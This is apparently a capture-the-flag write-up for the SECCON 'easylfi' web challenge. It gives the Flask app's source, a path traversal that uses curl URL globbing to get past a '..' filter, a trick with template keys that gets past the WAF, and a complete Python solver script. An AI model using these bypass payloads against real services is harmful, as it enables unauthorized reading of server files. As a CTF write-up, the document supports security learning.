I solved some web challenges with my idol ginoah. The challenges are awesome!
Description:
Can you read my secret?
The goal is to LFI /flag.txt
This flask app use curl to get a local file
This is server-side challenge.
You access the server:
If you submit test
, the server redirects to /hello.html?%7Bname%7D=test:
Source code (web/app.py
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask, request, Response
import subprocess
import os
app = Flask(__name__)
def validate(key: str) -> bool:
# E.g. key == "{name}" -> True
# key == "name" -> False
if len(key) == 0:
return False
is_valid = True
for i, c in enumerate(key):
if i == 0:
is_valid &= c == "{"
elif i == len(key) - 1:
is_valid &= c == "}"
else:
is_valid &= c != "{" and c != "}"
return is_valid
def template(text: str, params: dict[str, str]) -> str:
# A very simple template engine
for key, value in params.items():
if not validate(key):
return f"Invalid key: {key}"
text = text.replace(key, value)
return text
@app.after_request
def waf(response: Response):
if b"SECCON" in b"".join(response.response):
return Response("Try harder")
return response
@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
if ".." in filename or "%" in filename:
return "Do not try path traversal :("
try:
proc = subprocess.run(
["curl", f"file://{os.getcwd()}/public/{filename}"],
capture_output=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout"
if proc.returncode != 0:
return "Something wrong..."
return template(proc.stdout.decode(), request.args)
The goal is stealing a flag from /flag.txt
.
Solution
Step 1: path traversal
The server uses curl to read files:
proc = subprocess.run(
["curl", f"file://{os.getcwd()}/public/{filename}"],
capture_output=True,
timeout=1,
)
Unfortunately, path traversal to /flag.txt
is prevented:
if ".." in filename or "%" in filename:
return "Do not try path traversal :("
By the way, curl has a feature of URL globbing, and you can access multiple resources at the same time. You can bypass the above defense using this feature:
1
2
3
4
5
6
7
8
9
10
$ http "http://localhost:3000/.{.}/.{.}/flag.txt"
HTTP/1.1 200 OK
Connection: close
Content-Length: 10
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Nov 2022 12:09:18 GMT
Server: Werkzeug/2.2.2 Python/3.10.8
Try harder
However, the following WAF hides the flag response:
1
2
3
4
5
6
@app.after_request
def waf(response: Response):
if b"SECCON" in b"".join(response.response):
return Response("Try harder")
return response
Step 2: bypassing WAF
The server returns a response after the following process:
return template(proc.stdout.decode(), request.args)
The implementation of the template engine is as follows:
def validate(key: str) -> bool:
# E.g. key == "{name}" -> True
# key == "name" -> False
if len(key) == 0:
return False
is_valid = True
for i, c in enumerate(key):
if i == 0:
is_valid &= c == "{"
elif i == len(key) - 1:
is_valid &= c == "}"
else:
is_valid &= c != "{" and c != "}"
return is_valid
def template(text: str, params: dict[str, str]) -> str:
# A very simple template engine
for key, value in params.items():
if not validate(key):
return f"Invalid key: {key}"
text = text.replace(key, value)
return text
Is it possible to show the flag string without SECCON
by abusing this template engine?
The first important point is that validate("{")
is True
. You can bypass it with this bug and URL globbing.
Example payload:
- URL:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- params:
{
"{name}": "{",
"{": "}{",
"{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}": ""
}
The process in the template engine is as follows.
The initial state:
1
2
3
4
5
6
7
8
... snip ...
<body>
<h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{real_flag}
"{name}" → "{":
1
2
3
4
5
6
7
8
... snip ...
<body>
<h1>Hello, {!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{real_flag}
"{" → "}{":
1
2
3
4
5
6
7
8
... snip ...
<body>
<h1>Hello, }{!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{real_flag}
"{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}" → "":
1
2
3
4
... snip ...
<body>
<h1>Hello, }{real_flag}
Solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import httpx
BASE_URL = f"http://easylfi.seccon.games:3000"
res = httpx.get(
BASE_URL + "/{.}./{.}./{app/public/hello.html,flag.txt}",
params={
"{name}": "{",
"{": "}{",
"{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}": "",
},
)
print("SECCON" + res.text.split("<h1>Hello, }")[1])